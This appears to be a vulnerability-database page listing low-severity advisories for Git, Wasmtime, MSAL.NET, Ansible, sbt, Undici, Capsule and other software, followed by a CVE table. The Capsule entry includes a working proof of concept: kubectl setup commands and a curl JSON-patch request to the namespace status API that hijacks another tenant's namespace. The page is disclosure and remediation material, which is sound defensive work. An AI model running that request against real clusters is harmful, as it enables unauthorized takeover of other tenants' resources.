Git is a revision control system. Prior to versions 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2, and 2.39.4, local clones may end up hardlinking files into the target repository's object database when source and target repository reside on the same disk. If the source repository is owned by a different user, then those hardlinked files may be rewritten at any point in time by the untrusted user. Cloning local repositories will cause Git to either copy or hardlink files of the source repository into the target repository. This significantly speeds up such local clones compared to doing a "proper" clone and saves both disk space and compute time. When cloning a repository located on the same disk that is owned by a different user than the current user we also end up creating such hardlinks. These files will continue to be owned and controlled by the potentially-untrusted user and can be rewritten by them at will in the future. The problem has been patched in versions 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2, and 2.39.4.

Wasmtime is a standalone runtime for WebAssembly. Prior to versions 6.0.2, 7.0.1, and 8.0.1, Wasmtime's implementation of managing per-instance state, such as tables and memories, contains LLVM-level undefined behavior. This undefined behavior was found to cause runtime-level issues when compiled with LLVM 16 which causes some writes, which are critical for correctness, to be optimized away. Vulnerable versions of Wasmtime compiled with Rust 1.70, which is currently in beta, or later are known to have incorrectly compiled functions. Versions of Wasmtime compiled with the current Rust stable release, 1.69, and prior are not known at this time to have any issues, but can theoretically exhibit potential issues.

The underlying problem is that Wasmtime's runtime state for an instance involves a Rust-defined structure called `Instance` which has a trailing `VMContext` structure after it. This `VMContext` structure has a runtime-defined layout that is unique per-module. This representation cannot be expressed with safe code in Rust so `unsafe` code is required to maintain this state. The code doing this, however, has methods which take `&self` as an argument but modify data in the `VMContext` part of the allocation. This means that pointers derived from `&self` are mutated. This is typically not allowed, except in the presence of `UnsafeCell`, in Rust. When compiled to LLVM these functions have `noalias readonly` parameters which means it's UB to write through the pointers.

Wasmtime's internal representation and management of `VMContext` has been updated to use `&mut self` methods where appropriate. Additionally verification tools for `unsafe` code in Rust, such as `cargo miri`, are planned to be executed on the `main` branch soon to fix any Rust-level issues that may be exploited in future compiler versions.

Precomplied binaries available for Wasmtime from GitHub releases have been compiled with at most LLVM 15 so are not known to be vulnerable. As mentioned above, however, it's still recommended to update.

Wasmtime version 6.0.2, 7.0.1, and 8.0.1 have been issued which contain the patch necessary to work correctly on LLVM 16 and have no known UB on LLVM 15 and earlier. If Wasmtime is compiled with Rust 1.69 and prior, which use LLVM 15, then there are no known issues. There is a theoretical possibility for undefined behavior to exploited, however, so it's recommended that users upgrade to a patched version of Wasmtime. Users using beta Rust (1.70 at this time) or nightly Rust (1.71 at this time) must update to a patched version to work correctly.

The MSAL library enabled acquisition of security tokens to call protected APIs. MSAL.NET applications targeting Xamarin Android and .NET Android (e.g., MAUI) using the library from versions 4.48.0 to 4.60.0 are impacted by a low severity vulnerability.   
A malicious application running on a customer Android device    can cause local denial of service against applications that were built using MSAL.NET for authentication on the same device (i.e., prevent the user of the legitimate application from logging in) due to incorrect activity export configuration. MSAL.NET version 4.60.1 includes the fix.  As a workaround, a developer may explicitly mark the MSAL.NET activity non-exported.

A flaw was found in Ansible 2.7.16 and prior, 2.8.8 and prior, and 2.9.5 and prior when a password is set with the argument "password" of svn module, it is used on svn command line, disclosing to other users within the same node. An attacker could take advantage by reading the cmdline file from that particular PID on the procfs.

This is an entry in the RustSec database for the Wasmtime security advisory
located at
https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-ch89-5g45-qwc7.
For more information see the GitHub-hosted security advisory.

sbt is a build tool for Scala, Java, and others. Given a specially crafted zip or JAR file, `IO.unzip` allows writing of arbitrary file. This would have potential to overwrite `/root/.ssh/authorized_keys`. Within sbt's main code, `IO.unzip` is used in `pullRemoteCache` task and `Resolvers.remote`; however many projects use `IO.unzip(...)` directly to implement custom tasks. This vulnerability has been patched in version 1.9.7.

Git is a revision control system. Prior to versions 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2, and 2.39.4, when cloning a local source repository that contains symlinks via the filesystem, Git may create hardlinks to arbitrary user-readable files on the same filesystem as the target repository in the `objects/` directory. Cloning a local repository over the filesystem may creating hardlinks to arbitrary user-owned files on the same filesystem in the target Git repository's `objects/` directory. When cloning a repository over the filesystem (without explicitly specifying the `file://` protocol or `--no-local`), the optimizations for local cloning
will be used, which include attempting to hard link the object files instead of copying them. While the code includes checks against symbolic links in the source repository, which were added during the fix for CVE-2022-39253, these checks can still be raced because the hard link operation ultimately follows symlinks. If the object on the filesystem appears as a file during the check, and then a symlink during the operation, this will allow the adversary to bypass the check and create hardlinks in the destination objects directory to arbitrary, user-readable files. The problem has been patched in versions 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2, and 2.39.4.

Undici is an HTTP/1.1 client, written from scratch for Node.js. Undici cleared Authorization and Proxy-Authorization headers for `fetch()`, but did not clear them for `undici.request()`. This vulnerability was patched in version(s) 5.28.4 and 6.11.1.

### Summary
To defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. The webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking.

### Details
When Capsule uses a ValidatingWebhookConfiguration to intercept changes to namespace resources, it does not intercept modification requests initiated through namespace subresource APIs (see: https://github.com/projectcapsule/capsule/blob/main/charts/capsule/templates/validatingwebhookconfiguration.yaml#L193). Through subresource APIs, it is still possible to modify the metadata field of a namespace resource, enabling hijacking.

### PoC
Open two terminals and create two tenants:
```
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
  name: oil
spec:
  owners:
  - name: alice
    kind: User
EOF

./hack/create-user.sh alice solar
export KUBECONFIG=alice-solar.kubeconfig
kubectl create namespace solar-production # alice creates the namespace
```

```
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
  name: attacker
spec:
  owners:
  - name: attacker
    kind: User
EOF

./hack/create-user.sh attacker attacker
export KUBECONFIG=attacker-attacker.kubeconfig
```

When the attacker has permission to modify namespace/status or namespace/finalize, they can hijack other namespaces. Here we grant the attacker the relevant permissions:
```
kubectl create clusterrole status --verb=patch --resource=namespaces/status
kubectl create clusterrolebinding status --clusterrole=status --user=attacker
```
The attacker then sends a PATCH request to namespace/status to hijack the namespace created by alice:
```
curl -k --cert ./attacker-attacker.crt --key attacker-attacker.key --request PATCH 'https://192.168.201.12:6443/api/v1/namespaces/solar-production/status' \
--header 'Content-Type: application/json-patch+json' \
--data '[
    {
      "op": "replace",
      "path": "/metadata/ownerReferences",
      "value": [
        {
          "apiVersion": "capsule.clastix.io/v1beta2",
            "kind": "Tenant",
            "name": "attacker",
            "uid": "1fcb9c9b-b552-4974-a248-32be66a2188c"
        }
      ]
    }
  ]'
```

### Impact
hijack namespace

### Remediation
To mitigate this issue, add the following two subresources to the resources list in the ValidatingWebhookConfiguration rules:
```
    resources:
    - namespaces
    - namespaces/status
	- namespace/finalize
```

Undici is an HTTP/1.1 client written from scratch for Node.js. Prior to version 5.26.2, Undici already cleared Authorization headers on cross-origin redirects, but did not clear `Cookie` headers. By design, `cookie` headers are forbidden request headers, disallowing them to be set in RequestInit.headers in browser environments. Since undici handles headers more liberally than the spec, there was a disconnect from the assumptions the spec made, and undici's implementation of fetch. As such this may lead to accidental leakage of cookie to a third-party site or a malicious attacker who can control the redirection target (ie. an open redirector) to leak the cookie to the third party site. This was patched in version 5.26.2. There are no known workarounds.

fr-archive-libarchive.c in GNOME file-roller through 3.36.1 allows Directory Traversal during extraction because it lacks a check of whether a file's parent is a symlink to a directory outside of the intended extraction location.

A flaw was found in Ansible Engine when the module package or service is used and the parameter 'use' is not specified. If a previous task is executed with a malicious user, the module sent can be selected by the attacker using the ansible facts file. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.

A vulnerability was found in OpenSC, OpenSC tools, PKCS#11 module, minidriver, and CTK. An attacker could use a crafted USB Device or Smart Card, which would present the system with a specially crafted response to APDUs.   Insufficient or missing checking of return values of functions leads to unexpected work with variables that have not been initialized.

An issue in LIEF v.0.14.1 allows a local attacker to obtain sensitive information via the name parameter of the machd_reader.c component.

The MongoDB Shell may be susceptible to control character injection where an attacker with control over the database cluster contents can inject control characters into the shell output. This may result in the display of falsified messages that appear to originate from mongosh or the underlying operating system, potentially misleading users into executing unsafe actions.


The vulnerability is exploitable only when mongosh is connected to a cluster that is partially or fully controlled by an attacker.


This issue affects mongosh versions prior to 2.3.9

snipe-it is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').

Red Hat Security Advisory: redis:6 security, bug fix, and enhancement update

### Impact

Wasmtime's implementation of managing per-instance state, such as tables and memories, contains LLVM-level undefined behavior. This undefined behavior was found to cause runtime-level issues when compiled with LLVM 16 which causes some writes, which are critical for correctness, to be optimized away. Vulnerable versions of Wasmtime compiled with Rust 1.70, which is currently in beta, or later are known to have incorrectly compiled functions. Versions of Wasmtime compiled with the current Rust stable release, 1.69, and prior are not known at this time to have any issues, but can theoretically exhibit potential issues.

The underlying problem is that Wasmtime's runtime state for an instance involves a Rust-defined structure called `Instance` which has a trailing `VMContext` structure after it. This `VMContext` structure has a runtime-defined layout that is unique per-module. This representation cannot be expressed with safe code in Rust so `unsafe` code is required to maintain this state. The code doing this, however, has methods which take `&self` as an argument but modify data in the `VMContext` part of the allocation. This means that pointers derived from `&self` are mutated. This is typically not allowed, except in the presence of `UnsafeCell`, in Rust. When compiled to LLVM these functions have `noalias readonly` parameters which means it's UB to write through the pointers.

Wasmtime's internal representation and management of `VMContext` has been updated to use `&mut self` methods where appropriate. Additionally verification tools for `unsafe` code in Rust, such as `cargo miri`, are planned to be executed on the `main` branch soon to fix any Rust-level issues that may be exploited in future compiler versions.

Precomplied binaries available for Wasmtime from GitHub releases have been compiled with at most LLVM 15 so are not known to be vulnerable. As mentioned above, however, it's still recommended to update.

### Patches

Wasmtime version 6.0.2, 7.0.1, and 8.0.1 have been issued which contain the patch necessary to work correctly on LLVM 16 and have no known UB on LLVM 15 and earlier. 

### Workarounds

If Wasmtime is compiled with Rust 1.69 and prior, which use LLVM 15, then there are no known issues. There is a theoretical possibility for UB to exploited, however, so it's recommended that users upgrade to a patched version of Wasmtime. Users using beta Rust (1.70 at this time) or nightly Rust (1.71 at this time) must update to a patched version to work correctly.

### References

* [GitHub Advisory](https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-ch89-5g45-qwc7)
* [Mailing list announcement](https://groups.google.com/a/bytecodealliance.org/g/sec-announce/c/ecK-6G2yi90)

### For more information

If you have any questions or comments about this advisory:

* Reach out to us on [the Bytecode Alliance Zulip chat](https://bytecodealliance.zulipchat.com/#narrow/stream/217126-wasmtime)
* Open an issue in [the bytecodealliance/wasmtime repository](https://github.com/bytecodealliance/wasmtime/)

Red Hat Security Advisory: keycloak-httpd-client-install security, bug fix, and enhancement update

CVE ID↕	Published↕	CVSS↑
CVE-2024-32020	May 14, 2024	Low 3.9
CVE-2023-30624	Apr 27, 2023	Low 3.9
CVE-2024-27086	Apr 16, 2024	Low 3.9
CVE-2020-1739	Mar 12, 2020	Low 3.9
RUSTSEC-2023-0092	Apr 21, 2023	Low 3.9
CVE-2023-46122	Oct 23, 2023	Low 3.9
CVE-2024-32021	May 14, 2024	Low 3.9
CVE-2024-30260	Apr 4, 2024	Low 3.9
GHSA-2ww6-hf35-mfjm	May 28, 2026	Low 3.9
CVE-2023-45143	Oct 12, 2023	Low 3.9
DEBIAN-CVE-2020-11736	Apr 13, 2020	Low 3.9
CVE-2020-1738	Mar 16, 2020	Low 3.9
DEBIAN-CVE-2024-45617	Sep 3, 2024	Low 3.9
PYSEC-2024-280	May 3, 2024	Low 3.9
CVE-2025-1693	Feb 27, 2025	Low 3.9
GHSA-2cqg-q7jm-j35c	Nov 15, 2021	Low 3.9
RHSA-2022:7541	Oct 22, 2024	Low 3.9
GHSA-ch89-5g45-qwc7	Apr 27, 2023	Low 3.9
RHSA-2019:2137	Sep 16, 2024	Low 3.9

Know every vulnerability
before it knows you.

Low CVE Vulnerabilities (CVSS 0.1–3.9) — DevGuard

Know every vulnerabilitybefore it knows you.

Low CVE Vulnerabilities (CVSS 0.1–3.9) — DevGuard

Know every vulnerability
before it knows you.